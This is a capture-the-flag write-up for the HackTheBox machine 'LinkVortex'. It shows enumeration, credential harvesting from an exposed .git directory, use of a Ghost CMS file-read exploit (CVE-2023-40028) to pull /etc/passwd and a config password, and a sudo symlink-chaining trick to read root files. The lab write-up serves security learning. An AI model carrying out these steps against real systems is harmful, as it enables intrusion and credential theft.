LinkVortex HacktheBox Writeup
Summary
LinkVortex is an easy level machine on HacktheBox. It involves exploiting a known vulnerability involving symlinks in the Ghost CMS, then exploiting sudo permissions to read files using symlinks. Let's jump into the LinkVortex π
Note: I went back to grab some commands & screenshots for this write-up. So, the target IP & time stamps may not match up each time.
Enumeration && Foothold
First, we start off with a port scan on the given IP address.
ββ[us-dedivip-1]β[10.10.14.90]β[sleepystitch33@htb-rgicbcxqve]β[~]
ββββΌ [β
]$ sudo nmap -sC -sV 10.129.204.65
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-07 13:29 CST
Nmap scan report for 10.129.204.65
Host is up (0.0086s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.05 seconds
Nmap port scan of the given host
From the results, we can see that port 22 is open for ssh & port 80 is open running a web server. The results also provide us with a domain name & due to the nature of hackthebox labs, we need to add it to our /etc/hosts file. We use our favorite text editor to do so on our system (i <3 vim):
sudo vim /etc/hosts
# add the IP address and hostname to resolve within the file. for example:
10.129.204.65 linkvortex.htb
Now that we have added the hostname to our hosts file, linkvortex.htb should resolve to the IP that we specified (our target IP). So, we can enumerate it in the browser:

Something that we should always check for would be the existence of vhosts or subdomains. We can do that using FFUF. If you are new to enumerating subdomains & vhosts, freeCodeCamp has an excellent resource
[β
]$ ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.129.84.80 -H "HOST: FUZZ.linkvortex.htb" -fs 230
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.84.80
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Header : Host: FUZZ.linkvortex.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 230
________________________________________________
dev [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 9ms]
:: Progress: [4614/4614] :: Job [1/1] :: 4651 req/sec :: Duration: [0:00:01] :: Errors: 0 ::
Enumerating subdomains
Now that we have identified the subdomain "dev.linkvortex.htb" we need to add it to our /etc/hosts as well. After we do that, let's run an automated tool to enumerate any directories & pages on the host. My go-to tool for this is gobuster:
ββ[us-dedivip-1]β[10.10.14.138]β[sleepystitch33@htb-mctwqruy2v]β[~]
ββββΌ [β
]$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://dev.linkvortex.htb
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.linkvortex.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 199]
/.htaccess (Status: 403) [Size: 199]
/.git/HEAD (Status: 200) [Size: 41]
/.htpasswd (Status: 403) [Size: 199]
/cgi-bin/ (Status: 403) [Size: 199]
/index.html (Status: 200) [Size: 2538]
/server-status (Status: 403) [Size: 199]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
Directory enumeration / Brute Force
In the output from our directory enumeration, we can see that a .git directory is exposed on the web server. This directory can sometimes contain secrets, keys, or passwords along with code. Let's go ahead and download the full .git directory. There are many tools for this purpose, but I just used wget:
ββ[us-dedivip-1]β[10.10.14.138]β[sleepystitch33@htb-mctwqruy2v]β[~/new]
ββββΌ [β
]$ wget -r http://dev.linkvortex.htb/.git
--2025-04-12 13:02:21-- http://dev.linkvortex.htb/.git
Resolving dev.linkvortex.htb (dev.linkvortex.htb)... 10.129.84.80
Connecting to dev.linkvortex.htb (dev.linkvortex.htb)|10.129.84.80|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://dev.linkvortex.htb/.git/ [following]
--2025-04-12 13:02:21-- http://dev.linkvortex.htb/.git/
Reusing existing connection to dev.linkvortex.htb:80.
HTTP request sent, awaiting response... 200 OK
Length: 2796 (2.7K) [text/html]
Saving to: βdev.linkvortex.htb/.gitβ
---------- TRUNCATED -------
Once we have the full directory downloaded, let's cd into it & use git diff along with a grep to output all case-insensitive instances of the word "password"
Git diff shows the differences between commits, so maybe we'll find where a password was added or removed, etc. This defaults to showing the output in less, so that's why we pipe it to grep. There are likely more sophisticated & efficient ways to do this, as this method takes some scrolling to find the information that we need. It does give us a few extra passwords though, & at this point we don't know exactly what we are looking for, so any extra info can be helpful.
cd dev.linkvortex.htb
git diff -S βpasswordβ | grep -ni βpasswordβ
Mining for gold (searching for passwords)

Now, we have identified several passwords, but one sticks out: OctopiFociPilfer45
CVE-2023-40028
Now that we have a password, we can try to get more information from the web server. Viewing the source in our web browser (Right click, view source), we can see that it is running Ghost version 5.58.

After some research, we find that there is a CVE assigned to an arbitrary file read vulnerability on this version of Ghost. There is also a proof of concept script available on GitHub from 0xyassine. This is a good time to pause & say, NEVER RUN SCRIPTS THAT YOU DON'T UNDERSTAND.
What I did in this situation, was review the script to make sure it did nothing malicious on my system. I also choose to only run any sort of exploit code in an isolated system, & never my host operating system. Next, I edited it to point at the linkvortex.htb target, set it to executable, then ran it using the username "admin" and the password "OctopiFociPilfer45" that we retrieved in the last step. This script exploits the arbitrary file read vulnerability to provide us with a 'shell' that can read different files on the system. So, the first thing that we should do is try to identify usernames. We can do this by reading /etc/passwd
ββ[us-dedivip-1]β[10.10.14.138]β[sleepystitch33@htb-mctwqruy2v]β[~/Downloads]
ββββΌ [β
]$ ./CVE-2023-40028.sh -uadmin@linkvortex.htb -pOctopiFociPilfer45
WELCOME TO THE CVE-2023-40028 SHELL
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
file>
Unfortunately, this doesn't give us any good username to try to check for password reuse on ssh or anything like that. So, next we dig into the Ghost documentation to try to find where different config files might live. One other thing that I like to do if I am unfamiliar with the technology stack is to install a default version of it. If we do a fresh install of the docker container, then we can see that the config files for the docker version live in /var/lib/ghost. To install the docker container & execute commands in it:
sudo apt install docker.io
sudo docker run -d --name some-ghost -e NODE_ENV=development ghost
sudo docker exec -it /some-ghost /bin/bash
ls

From there, we know what files to look for & we can get a username & password for the box. In this case it is bob:fibber-talented-worth
file> /var/lib/ghost/config.production.json
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}
}
file>
To get the user flag & access to the machine as bob, we can ssh in with these credentials:

Privilege Escalation
Now that we have user access on the machine, we need to look for ways to escalate our privileges or move laterally. What we find is that bob has sudo permissions to run a specific script on the system.
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
The next step is to read & analyze the script:
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
It looks like the script cleans symlinks, & checks for an environment variable CHECK_CONTENT. If CHECK_CONTENT is true, then it will read the content of the quarantined symlink. We also can see that sudo will keep the environment variable for CHECK_CONTENT (env_keep+=CHECK_CONTENT). There are also checks to make sure that we are not trying to read sensitive files such as /etc/shadow or anything in /root. We can actually get around that logic by creating one symlink that points at /root/root.txt for example, then another that points at the symlink that we just created. For example, we can create a symlink image1.png that points to /root/root.txt then another symlink, image2.png that points to image1.png. Then, we can run the script against image2.png to hopefully gain access to sensitive files with root permissions:
bob@linkvortex:~$ export CHECK_CONTENT=true
bob@linkvortex:~$ echo $CHECK_CONTENT
true
bob@linkvortex:~$ ln -s /root/root.txt /home/bob/image1.png
bob@linkvortex:~$ ln -s /home/bob/image1.png /home/bob/image2.png
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh image2.png
Link found [ image2.png ] , moving it to quarantine
Content:
e18df84b9483265121903ff3c7a84875

That's it! We successfully read the root flag from /root.
If we wanted to get a shell as root, we could read the id_rsa key for root & ssh into the machine or read /etc/shadow & try to crack the root password.